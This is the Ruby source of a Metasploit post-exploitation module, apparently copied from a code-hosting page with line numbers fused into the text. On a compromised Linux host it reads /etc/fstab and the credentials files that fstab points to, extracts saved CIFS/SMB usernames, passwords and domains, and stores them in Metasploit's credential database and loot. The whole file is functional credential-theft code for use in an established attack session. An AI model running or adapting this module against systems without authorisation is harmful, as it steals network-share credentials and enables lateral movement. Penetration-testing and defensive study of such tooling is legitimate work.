Path: blob/master/modules/post/linux/gather/mount_cifs_creds.rb
19593 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Linux Gather Saved mount.cifs/mount.smbfs Credentials',13'Description' => %q{14Post Module to obtain credentials saved for mount.cifs/mount.smbfs in15/etc/fstab on a Linux system.16},17'License' => MSF_LICENSE,18'Author' => ['Jon Hart <jhart[at]spoofed.org>'],19'Platform' => ['linux'],20'SessionTypes' => ['shell', 'meterpreter'],21'Notes' => {22'Stability' => [CRASH_SAFE],23'SideEffects' => [],24'Reliability' => []25}26)27)28end2930def run31# keep track of any of the credentials files we read so we only read them once32cred_files = []33# where we'll store hashes of found credentials while parsing. reporting is done at the end.34creds = []35# A table to store the found credentials for loot storage afterward36cred_table = Rex::Text::Table.new(37'Header' => 'mount.cifs credentials',38'Indent' => 1,39'Columns' =>40[41'Username',42'Password',43'Server',44'File'45]46)4748# parse each line from /etc/fstab49fail_with(Failure::NotFound, '/etc/fstab not found on system') unless file_exist?('/etc/fstab')50read_file('/etc/fstab').each_line do |fstab_line|51fstab_line.strip!52# where we'll store the current parsed credentials, if any53cred = {}54# if the fstab line utilizies the credentials= option, read the credentials from that file55next unless (fstab_line =~ %r{//([^/]+)/\S+\s+\S+\s+cifs\s+.*})5657cred[:host] = ::Regexp.last_match(1)58# IPs can occur using the ip option, which is a backup/alternative59# to letting UNC resolution do its thing60cred[:host] = ::Regexp.last_match(1) if (fstab_line =~ /ip=([^, ]+)/)61if (fstab_line =~ /cred(?:entials)?=([^, ]+)/)62file = ::Regexp.last_match(1)63# skip if we've already parsed this credentials file64next if cred_files.include?(file)6566# store it if we haven't67cred_files << file68# parse the credentials69cred.merge!(parse_credentials_file(file))70# if the credentials are directly in /etc/fstab, parse them71elsif (fstab_line =~ %r{//([^/]+)/\S+\s+\S+\s+cifs\s+.*(?:user(?:name)?|pass(?:word)?)=})72cred.merge!(parse_fstab_credentials(fstab_line))73end7475creds << cred76end7778# all done. clean up, report and loot.79creds.flatten!80creds.compact!81creds.uniq!82creds.each do |cred|83if Rex::Socket.dotted_ip?(cred[:host])84report_cred(85ip: cred[:host],86port: 445,87service_name: 'smb',88user: cred[:user],89password: cred[:pass],90proof: '/etc/fstab'91)92end93cred_table << [ cred[:user], cred[:pass], cred[:host], cred[:file] ]94end9596# store all found credentials97unless cred_table.rows.empty?98print_line("\n" + cred_table.to_s)99p = store_loot(100'mount.cifs.creds',101'text/csv',102session,103cred_table.to_csv,104'mount_cifs_credentials.txt',105'mount.cifs credentials'106)107print_status("CIFS credentials saved in: #{p}")108end109end110111def report_cred(opts)112service_data = {113address: opts[:ip],114port: opts[:port],115service_name: opts[:service_name],116protocol: 'tcp',117workspace_id: myworkspace_id118}119120credential_data = {121origin_type: :session,122module_fullname: fullname,123username: opts[:user],124private_data: opts[:password],125private_type: :password,126session_id: session_db_id,127post_reference_name: refname128}.merge(service_data)129130login_data = {131core: create_credential(credential_data),132status: Metasploit::Model::Login::Status::UNTRIED,133proof: opts[:proof]134}.merge(service_data)135136create_credential_login(login_data)137end138139# Parse mount.cifs credentials from +line+, assumed to be a line from /etc/fstab.140# Returns the username+domain and password as a hash.141def parse_fstab_credentials(line, file = '/etc/fstab')142creds = {}143# get the username option, which comes in one of four ways144user_opt = ::Regexp.last_match(1) if (line =~ /user(?:name)?=([^, ]+)/)145if user_opt146case user_opt147# domain/user%pass148when %r{^([^/]+)/([^%]+)%(.*)$}149creds[:user] = "#{::Regexp.last_match(1)}\\#{::Regexp.last_match(2)}"150creds[:pass] = ::Regexp.last_match(3)151# domain/user152when %r{^([^/]+)/([^%]+)$}153creds[:user] = "#{::Regexp.last_match(1)}\\#{::Regexp.last_match(2)}"154# user%password155when /^([^%]+)%(.*)$/156creds[:user] = ::Regexp.last_match(1)157creds[:pass] = ::Regexp.last_match(2)158# user159else160creds[:user] = user_opt161end162end163164# get the password option if any165creds[:pass] = ::Regexp.last_match(1) if (line =~ /pass(?:word)?=([^, ]+)/)166167# get the domain option, if any168creds[:user] = "#{::Regexp.last_match(1)}\\#{creds[:user]}" if (line =~ /dom(?:ain)?=([^, ]+)/)169170creds[:file] = file unless creds.empty?171172creds173end174175# Parse mount.cifs credentials from +file+, returning the username+domain and password176# as a hash.177def parse_credentials_file(file)178creds = {}179domain = nil180read_file(file).each_line do |credfile_line|181case credfile_line182when /domain=(.*)/183domain = ::Regexp.last_match(1)184when /password=(.*)/185creds[:pass] = ::Regexp.last_match(1)186when /username=(.*)/187creds[:user] = ::Regexp.last_match(1)188end189end190# prepend the domain if one was found191creds[:user] = "#{domain}\\#{creds[:user]}" if domain && creds[:user]192creds[:file] = file unless creds.empty?193194creds195end196end197198199